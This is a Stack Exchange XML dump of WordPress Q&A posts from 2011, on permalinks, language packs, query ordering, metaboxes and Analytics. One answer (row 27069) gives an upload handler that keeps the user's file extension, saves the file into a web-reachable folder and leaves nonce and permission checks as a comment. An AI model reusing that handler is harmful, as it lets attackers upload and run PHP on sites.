  <row Id="27060" PostTypeId="1" CreationDate="2011-08-27T17:27:05.470" Score="-1" ViewCount="29" Body="&lt;p&gt;For example, do these permalink structures have a difference on SEO?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/?p=123&#xA;vs. &#xA;example.com/10-ways-to-cook-chicken&lt;/p&gt;&#xA;" OwnerUserId="7944" LastActivityDate="2011-08-27T17:51:56.007" ClosedDate="2011-08-27T18:05:31.427" Title="Do custom permalinks effect SEO?" Tags="&lt;permalinks&gt;&lt;seo&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="27061" PostTypeId="2" ParentId="27060" CreationDate="2011-08-27T17:30:54.660" Score="1" ViewCount="" Body="&lt;p&gt;If you read &lt;code&gt;p=123&lt;/code&gt; would you know what that was about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about &lt;code&gt;10-ways-to-cook-chicken&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-27T17:30:54.660" />
  <row Id="27062" PostTypeId="2" ParentId="27057" CreationDate="2011-08-27T17:34:33.250" Score="0" ViewCount="" Body="&lt;p&gt;You have malware, either by downloading a free theme with malware in it or someone exploited your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/19696/verifying-that-i-have-fully-removed-a-wordpress-hack&quot;&gt;Verifying that I have fully removed a WordPress hack?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/FAQ_My_site_was_hacked&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-27T17:34:33.250" />
  <row Id="27063" PostTypeId="1" AcceptedAnswerId="27075" CreationDate="2011-08-27T17:43:40.107" Score="1" ViewCount="59" Body="&lt;p&gt;Does anyone use &lt;a href=&quot;http://www.aptana.com/&quot; rel=&quot;nofollow&quot;&gt;Aptana&lt;/a&gt; for WordPress plugin development? Is there a way to set-up WP code hinting with Aptana?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-27T20:24:03.333" LastActivityDate="2011-08-28T19:37:04.540" Title="Aptana: WordPress Code Hinting" Tags="&lt;ide&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="27064" PostTypeId="2" ParentId="27060" CreationDate="2011-08-27T17:51:56.007" Score="-2" ViewCount="" Body="&lt;p&gt;yes! domain name has the highest priority for search engines so are the urls.&lt;/p&gt;&#xA;" OwnerUserId="7835" LastActivityDate="2011-08-27T17:51:56.007" CommentCount="1" />
  <row Id="27065" PostTypeId="2" ParentId="27056" CreationDate="2011-08-27T18:00:06.483" Score="5" ViewCount="" Body="&lt;p&gt;You can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the the language pack (e.g. &lt;code&gt;de_DE.mo&lt;/code&gt;) from &lt;a href=&quot;http://codex.wordpress.org/WordPress_in_Your_Language&quot; rel=&quot;nofollow&quot;&gt;wordpress.org&lt;/a&gt;. If the language pack isn't available as a standalone download, you could also use the &lt;code&gt;.mo&lt;/code&gt; file which is bundled in the WordPress ZIP-file for your language. Located under &lt;code&gt;wp-content/languages&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Move the &lt;code&gt;.mo&lt;/code&gt; file to &lt;code&gt;wp-content/languages/&lt;/code&gt; of your default (english) WordPress installation.&lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;code&gt;WPLANG&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt; to the new locale (e.g. &lt;code&gt;de_DE&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;In your &lt;code&gt;functions.php&lt;/code&gt; add the following filter:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('locale', 'wpse27056_setLocale');&#xA;function wpse27056_setLocale($locale) {&#xA;    if ( is_admin() ) {&#xA;        return 'en_US';&#xA;    }&#xA;&#xA;    return $locale;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-09-02T15:20:35.990" LastActivityDate="2011-09-02T15:20:35.990" CommentCount="2" />
  <row Id="27066" PostTypeId="2" ParentId="27045" CreationDate="2011-08-27T18:35:39.307" Score="1" ViewCount="" Body="&lt;p&gt;I think it is less likely to be done already - those are totally 2 different random plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to do your own coding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd go with database trigger, once something is inserted in one plugin table or the other, same data inserted in the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have to validate that usernames are unique in both table, something not easy to do code wise - so i guess you just add some standard string to the target table in the trigger&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-08-27T18:35:39.307" />
  <row Id="27067" PostTypeId="1" AcceptedAnswerId="27072" CreationDate="2011-08-27T19:57:20.610" Score="0" ViewCount="21" Body="&lt;p&gt;I want to be able to add posts to a post parent in wordpress. Is there a way? &#xA;There is such option for pages but I need it for posts to. Any ideeas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ty!&lt;/p&gt;&#xA;" OwnerUserId="2979" LastActivityDate="2011-08-27T21:42:10.797" Title="How to assign a post to a post parrent?" Tags="&lt;posts&gt;&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="27068" PostTypeId="1" AcceptedAnswerId="27071" CreationDate="2011-08-27T20:11:24.070" Score="-1" ViewCount="23" Body="&lt;p&gt;According to:http://codex.wordpress.org/Function_Reference/query_posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show all posts in a category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array ( 'category_name' =&amp;gt; 'The Category Name', 'posts_per_page' =&amp;gt; -1 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works great, but if I want to show the posts&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ORDER BY ID DESC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea how to do that?&lt;/p&gt;&#xA;" OwnerUserId="5031" LastActivityDate="2011-08-27T20:23:15.907" Title="query_post order desc" Tags="&lt;categories&gt;&lt;query-posts&gt;&lt;wp-posts&gt;" AnswerCount="2" />
  <row Id="27069" PostTypeId="2" ParentId="26939" CreationDate="2011-08-27T20:13:13.937" Score="0" ViewCount="" Body="&lt;p&gt;I ended up solving it by completely bypassing the wp upload system, so this is how it looks now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * Define new upload paths&#xA; */&#xA;&#xA;$uploadfolder =  WP_CONTENT_DIR . '/exames'; // Determine the server path to upload files&#xA;$uploadurl = content_url() . '/exames/'; // Determine the absolute url to upload files&#xA;define(RM_UPLOADDIR, $uploadfolder);&#xA;define(RM_UPLOADURL, $uploadurl);&#xA;&#xA;    function custom_post_type_metabox_save_function($post_id) {&#xA;&#xA;        global $post;&#xA;&#xA;        // Verify auto-save, nonces, permissions and so on then:&#xA;&#xA;        update_post_meta($post_id, &quot;meta_key1&quot;, $_POST[&quot;value1&quot;]);&#xA;        update_post_meta($post_id, &quot;meta_key2&quot;, $_POST[&quot;value2&quot;]);&#xA;        update_post_meta($post_id, &quot;meta_key3&quot;, $_POST[&quot;value3&quot;]);&#xA;&#xA;    $destination =  RM_UPLOADDIR; // Determine the path to upload files&#xA;    $filename = $_FILES[&quot;file&quot;][&quot;name&quot;]; // Get the uploaded file name&#xA;&#xA;    // This separates the extension from the rest of the file name&#xA;    $filename = strtolower($filename) ; &#xA;    $exts = split(&quot;[/\\.]&quot;, $filename) ; &#xA;    $n = count($exts)-1; &#xA;    $exts = $exts[$n];&#xA;&#xA;    $newname = time() . rand(); // Create a new name&#xA;    $filepath = $destination . '/' . $newname.'.'.$exts; // Get the complete file path&#xA;    $filename = $newname.'.'.$exts; // Get the new name with the extension&#xA;&#xA;    // Now, if the upload was successful we save a post meta with the filename, if not, save nothing&#xA;    if (move_uploaded_file($_FILES[&quot;pdfexame&quot;][&quot;tmp_name&quot;], $filepath)) {&#xA;            update_post_meta($post_id, &quot;rm_martins_exame_url&quot;, $filename); &#xA;        }&#xA;&#xA;  }&#xA;    add_action('save_post','custom_post_type_metabox_save_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's well less ugly than what i had before, but still would be much better if this could be done using the &lt;code&gt;upload_dir&lt;/code&gt; filter.&lt;/p&gt;&#xA;" OwnerUserId="7890" LastEditorUserId="7890" LastEditorDisplayName="" LastEditDate="2011-08-27T20:39:32.520" LastActivityDate="2011-08-27T20:39:32.520" />
  <row Id="27070" PostTypeId="1" AcceptedAnswerId="27076" CreationDate="2011-08-27T20:13:24.903" Score="0" ViewCount="22" Body="&lt;p&gt;How do I call the current post's featured image in the sidebar? and if there is none, then a backup image?&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-27T20:40:32.757" Title="Show current page featured image in sidebar" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="27071" PostTypeId="2" ParentId="27068" CreationDate="2011-08-27T20:21:26.160" Score="1" ViewCount="" Body="&lt;p&gt;You need to use this to parameters &lt;code&gt;orderby&lt;/code&gt; and &lt;code&gt;order&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array( 'category_name' =&amp;gt; 'my_category_slug', 'orderby' =&amp;gt; 'ID', 'order' =&amp;gt; 'DESC', 'posts_per_page' =&amp;gt; -1 ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-27T20:21:26.160" CommentCount="1" />
  <row Id="27072" PostTypeId="2" ParentId="27067" CreationDate="2011-08-27T20:22:25.847" Score="1" ViewCount="" Body="&lt;p&gt;Posts &amp;amp; Pages are &quot;built in&quot; Custom Post Types. So something that was delivered as a pre-configuration when WP was installed. There's also other built in stuff like Tags &amp;amp; Categories which are basically nothing other than custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you're lucky: You can simply use the API and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;add your own&lt;/a&gt;, hierarchical custom &quot;post&quot; type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'hierarchical' =&amp;gt; true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-27T20:22:25.847" CommentCount="2" />
  <row Id="27073" PostTypeId="2" ParentId="27068" CreationDate="2011-08-27T20:23:15.907" Score="0" ViewCount="" Body="&lt;p&gt;the param order can list via DESC and the param orderby sort by ID&#xA;for your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( &#xA;   array ( 'category_name' =&amp;gt; 'The Category Name', &#xA;           'posts_per_page' =&amp;gt; -1,&#xA;           'orderby' =&amp;gt; 'ID',&#xA;           'order' =&amp;gt; 'DESC'&#xA;   )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;oder is only usable with ASC or DESC and orderby can use all fiels of the table posts.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-08-27T20:23:15.907" CommentCount="1" />
  <row Id="27074" PostTypeId="2" ParentId="27063" CreationDate="2011-08-27T20:38:30.063" Score="1" ViewCount="" Body="&lt;p&gt;I don't use Aptana but the top Google result said:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aptana 3 click Command-&gt;Bundle Development-&gt;Install Bundle -&gt; Select bundle to install-&gt;WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-27T20:38:30.063" CommentCount="2" />
  <row Id="27075" PostTypeId="2" ParentId="27063" CreationDate="2011-08-27T20:40:23.600" Score="1" ViewCount="" Body="&lt;p&gt;Yes, im and other users use Aptana always for WP Development and worls very fine. You must only include your install of WP for Dev or Stable to the project of your plugin, thats all. Now you can use all functions, vars, class ... inside your plugin of the referenced WP install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start an new project; maybe an plugin, than add the externel directory or project in PHP Buildpath-tab of properties. Alternate you can change the properties via context menu, right mouse button on the project, and add the path or project in the PHP Buildpath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;for Linux Users with Ubuntu Natty&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you dont have the Command-Menu on your Linux install (if you use linux, than use this &lt;a href=&quot;http://cometpeak.com/2011/05/menu-fix-for-aptana-studio-3-on-ubuntu-11-04/&quot; rel=&quot;nofollow&quot;&gt;hack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;via Command Menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the command-menu for add an bundle, also WordPress is inside via Core from Aptana Studio 3. Klick &lt;em&gt;Commands&lt;/em&gt; --&gt; &lt;em&gt;Bundle Development&lt;/em&gt; --&gt; &lt;em&gt;Install Bundle&lt;/em&gt; --&gt; Klick &lt;em&gt;WordPress&lt;/em&gt; and than &lt;em&gt;OK&lt;/em&gt;; thats all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you have all functions, etc.&#xA;&lt;img src=&quot;http://i.stack.imgur.com/eN1ZM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-08-28T19:37:04.540" LastActivityDate="2011-08-28T19:37:04.540" CommunityOwnedDate="2011-08-27T20:40:23.600" CommentCount="2" />
  <row Id="27076" PostTypeId="2" ParentId="27070" CreationDate="2011-08-27T20:40:32.757" Score="2" ViewCount="" Body="&lt;p&gt;I'm assuming you're going to be outputting this on a singular page (Post, Page, Attachment)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, the easiest thing to do is to put your post AND sidebar content &lt;em&gt;inside&lt;/em&gt; the Loop, so that you have access to the &lt;code&gt;$post&lt;/code&gt; global, and post-related template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could define a variable, &lt;em&gt;inside&lt;/em&gt; the Loop, to hold &lt;code&gt;$post-ID&lt;/code&gt; so that you can reference it &lt;em&gt;outside&lt;/em&gt; of the Loop, i.e. in your sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, &lt;em&gt;inside&lt;/em&gt; the Loop, you would have e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_id = get_the_ID();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_thumbnail( $post_id ) ) {&#xA;    the_post_thumbnail( 'sidebar_post_thumbnail' );&#xA;} else {&#xA;    // code to output your default image&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I'm assuming you'll create a custom image size to output in the sidebar, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'sidebar_post_thumbnail', 150, 9999, false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(which goes in &lt;code&gt;functions.php&lt;/code&gt;, of course)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-27T20:40:32.757" CommentCount="2" />
  <row Id="27077" PostTypeId="1" CreationDate="2011-08-27T20:57:14.603" Score="1" ViewCount="61" Body="&lt;p&gt;I'm using the WP Alchemy class to add custom metaboxes to templates in the admin panel and pull results from those metaboxes into the theme front-end. Here is the relevant code in content-link.php (in the loop - in Twenty Eleven Theme).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php display_url_info(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;http://localhost/wordpress/wp-content/uploads/2011/08/external-link-red03.png&quot;/&amp;gt;&amp;lt;/a&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right now the link shows just the permalink instead of the url in the metabox. If I hardcode a url in there instead, the custom url shows up on the post. I've verified it being properly stored under _custom_meta in the db (and successfully implemented metabox display in other templates. Here's the value in the db:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:1:{s:5:&quot;links&quot;;a:1:{i:0;a:2:{s:6:&quot;domain&quot;;s:25:&quot;http://stackexchange.com/&quot;;s:13:&quot;post_link_url&quot;;s:48:&quot;http://wordpress.stackexchange.com/questions/ask&quot;;}}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my plugin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basic_metabox = new WPAlchemy_MetaBox (&#xA;&#xA;    array (&#xA;    'id' =&amp;gt; '_custom_meta',&#xA;    'title' =&amp;gt; 'Basic Meta',&#xA;    'template' =&amp;gt; ABSPATH . 'wp-content/themes/beernews-child-theme/custom/basic-meta.php',&#xA;    'types' =&amp;gt; array('post','link')&#xA;    )&#xA;&#xA;);&#xA;&#xA;   add_filter('beernews-child-theme_post', 'display_url_info');&#xA;&#xA;function display_url_info() {&#xA;&#xA;    // usually needed&#xA;    global $basic_metabox;&#xA;&#xA;    // get the meta data for the current post&#xA;    $basic_metabox-&amp;gt;the_meta(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($basic_metabox-&amp;gt;get_the_value('post_link_url')) {&#xA;&#xA;    echo $basic_metabox-&amp;gt;the_value('post_link_url');&#xA;&#xA;}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="1697" LastEditorDisplayName="" LastEditDate="2011-08-29T15:27:44.727" LastActivityDate="2011-08-31T19:10:15.357" Title="Can't get metabox value (a url) returned using WPAlchemy" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="27078" PostTypeId="1" AcceptedAnswerId="27083" CreationDate="2011-08-27T21:06:33.553" Score="1" ViewCount="28" Body="&lt;p&gt;How can i disable the comment form, if the user is already submitted a comment for the specified post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this now, but this is only good for 1 post / user / website.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $current_user;&#xA;$args = array('user_id' =&amp;gt; $current_user-&amp;gt;ID);&#xA;$usercomment = get_comments($args);&#xA;if(count($usercomment) &amp;gt;= 1){&#xA;    echo 'disabled';&#xA;} else {&#xA;    comment_form();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8038" LastEditorUserId="8038" LastEditorDisplayName="" LastEditDate="2011-08-27T21:11:53.387" LastActivityDate="2011-08-27T22:00:36.733" Title="One comment per user per post" Tags="&lt;comments&gt;&lt;forms&gt;&lt;form&gt;&lt;comment&gt;" AnswerCount="1" />
  <row Id="27079" PostTypeId="2" ParentId="27067" CreationDate="2011-08-27T21:42:10.797" Score="0" ViewCount="" Body="&lt;p&gt;Posts are designed to be chronological. Pages hierarchical. If you are trying to make posts hierarchical, you are using WordPress all wrong. Custom post-types are your solution but it's not a walk in the park...&lt;/p&gt;&#xA;" OwnerUserId="8211" LastActivityDate="2011-08-27T21:42:10.797" />
  <row Id="27080" PostTypeId="1" AcceptedAnswerId="27084" CreationDate="2011-08-27T21:53:00.543" Score="1" ViewCount="28" Body="&lt;p&gt;I am looking for a way to create a custom field/metabox that allow to attach &lt;strong&gt;multiple&lt;/strong&gt; and &lt;strong&gt;infinite&lt;/strong&gt; images to a post. This would allow to create a custom post type for a portfolio and allow to attach images &lt;strong&gt;without pasting them inside the post textarea&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most plugins I've seen allow for only 1 image. I've got the inspiration from the awesome &lt;a href=&quot;http://processwire.com/&quot; rel=&quot;nofollow&quot;&gt;ProcessWire CMS&lt;/a&gt;, that allows for this functionality right out of the box. It would be awesome to have this in Wordpress too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin I'm missing? Could this be done?&lt;/p&gt;&#xA;" OwnerUserId="8212" LastActivityDate="2011-08-27T22:07:53.260" Title="Is there a plugin or simple way to add a multiple images metabox to a post?" Tags="&lt;images&gt;&lt;uploads&gt;&lt;cms&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="27081" PostTypeId="2" ParentId="24537" CreationDate="2011-08-27T21:54:51.483" Score="0" ViewCount="" Body="&lt;p&gt;Because I don't have post thumbnails defined, and since posts may or may not contain multiple images, I ended up doing it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned off  tags in excerpts(I had an excerpt plugin enabling tags in excerpt), then I added the following to the function.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function catch_that_image() {  &#xA;    global $post, $posts;  &#xA;&#xA;    $first_img = '';  ob_start();  &#xA;    ob_end_clean();  &#xA;&#xA;    $output = preg_match_all('/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', &#xA;&#xA;&#xA;    $post-&amp;gt;post_content, $matches);  &#xA;&#xA;    $first_img = $matches [1] [0];  &#xA;    if(empty($first_img)){ &#xA;    //Defines a default image    &#xA;    $first_img = &quot;/images/default.jpg&quot;;  }  &#xA;    return $first_img;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I added the following to the main index template file in between the posts title and the excerpt/content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; alt=&quot;&amp;lt;?php _e('Read full article', 'theme');?&amp;gt;&quot; title=&quot;&amp;lt;?php _e('Read full article', 'theme');?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo catch_that_image() ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Random note: It's wrapped in a &lt;p&gt; for styling reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx again for guiding me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="7491" LastActivityDate="2011-08-27T21:54:51.483" />
  <row Id="27082" PostTypeId="2" ParentId="26701" CreationDate="2011-08-27T21:54:51.913" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_&lt;/code&gt; prefix is usually added to avoid naming conflicts with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;native PHP functions, such as get_current_user()&lt;/li&gt;&#xA;&lt;li&gt;older/deprecated WP functions, such as get_archives()&lt;/li&gt;&#xA;&lt;li&gt;third-party libraries?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-27T21:54:51.913" />
  <row Id="27083" PostTypeId="2" ParentId="27078" CreationDate="2011-08-27T22:00:36.733" Score="3" ViewCount="" Body="&lt;p&gt;Simply add the post_id parameter to the &lt;code&gt;get_comments&lt;/code&gt; arguments array something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user,$post;&#xA;$args = array('user_id' =&amp;gt; $current_user-&amp;gt;ID,'post_id' =&amp;gt; $post-&amp;gt;ID);&#xA;$usercomment = get_comments($args);&#xA;if(count($usercomment) &amp;gt;= 1){&#xA;    echo 'disabled';&#xA;} else {&#xA;    comment_form();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-27T22:00:36.733" CommentCount="1" />
  <row Id="27084" PostTypeId="2" ParentId="27080" CreationDate="2011-08-27T22:07:53.260" Score="2" ViewCount="" Body="&lt;p&gt;This cab be done very easy by custom code or using &lt;a href=&quot;http://www.deluxeblogtips.com/meta-box-script-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Meta Box Script For WordPress&lt;/code&gt;&lt;/a&gt; which makes my life a lot easier when it comes to creating custom meta boxes.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-27T22:07:53.260" CommentCount="2" />
  <row Id="27085" PostTypeId="1" CreationDate="2011-08-27T22:27:46.580" Score="0" ViewCount="28" Body="&lt;p&gt;I have Google Analytics tracking code on Wordfruit.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have the Analytics code on blog.wordfruit.com too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the code on Wordfruit.com pages is from the 'single domain' section in my Google Analytics account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I'm adding Analytics code to blog.wordfruit.com , I guess I need to choose the option 'One domain with multiple subdomains' from my Analytics account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do I need to change the code on Wordfruit.com to the code in the section 'One domain with multiple subdomains'?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If I do have to change it, will this cause things to reset in my Analytics account, or will I just be able to continue reading the data as before, covering the time periods before and after I changed the code?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;blog.wordfruit.com is a custom theme -- where should I add the Analytics code?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2011-08-27T23:11:13.357" Title="Do I need to change the Google Analytics code on my site?" Tags="&lt;google-analytics&gt;" AnswerCount="1" />
  <row Id="27086" PostTypeId="2" ParentId="27077" CreationDate="2011-08-27T22:38:15.253" Score="1" ViewCount="" Body="&lt;p&gt;Try changing your &lt;code&gt;display_url_info&lt;/code&gt; function to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter('beernews-child-theme_post', 'display_url_info');&#xA;&#xA;function display_url_info() {&#xA;    // usually needed&#xA;    global $basic_metabox;&#xA;    $basic = $basic_metabox-&amp;gt;the_meta(); &#xA;&#xA;    if($basic['post_link_url']) {&#xA;        echo $basic['post_link_url'];&#xA;    } else {&#xA;        echo 'ERROR : &quot;post_link_url&quot; empty';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;And not to be a jerk, but I would like to point out that WP Alchemy is not a plugin but rather a PHP Class. I just do not want other people to get confused.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-08-29T15:43:45.893" LastActivityDate="2011-08-29T15:43:45.893" CommentCount="9" />
  <row Id="27087" PostTypeId="2" ParentId="27085" CreationDate="2011-08-27T23:11:13.357" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;The short answer:&lt;/strong&gt; Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions are pretty clear on the Google Analytics Help Page:&#xA;&lt;a href=&quot;http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;amp;answer=55524&amp;amp;from=55525&amp;amp;rd=1&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;amp;answer=55524&amp;amp;from=55525&amp;amp;rd=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you leave the current Analytics in-tact, you can still access the old data via the analytics start page.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-27T23:11:13.357" CommentCount="2" />
  <row Id="27088" PostTypeId="1" AcceptedAnswerId="27103" CreationDate="2011-08-27T23:33:42.947" Score="0" ViewCount="39" Body="&lt;p&gt;I need a duplicate of &lt;code&gt;index.php&lt;/code&gt;, but slightly modified. I added a &quot;vote it up&quot; plugin. So, I want the user to select how to display posts - by new or by popular. I know what to add to second &lt;code&gt;index.php&lt;/code&gt;, but how to create a second &lt;code&gt;index.php&lt;/code&gt;, thats the problem. &lt;/p&gt;&#xA;" OwnerUserId="8196" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-08-28T07:56:58.233" LastActivityDate="2011-08-28T08:20:42.663" Title="How to create a second index.php?" Tags="&lt;themes&gt;&lt;wordpress.com&gt;&lt;child-theme&gt;" AnswerCount="3" />
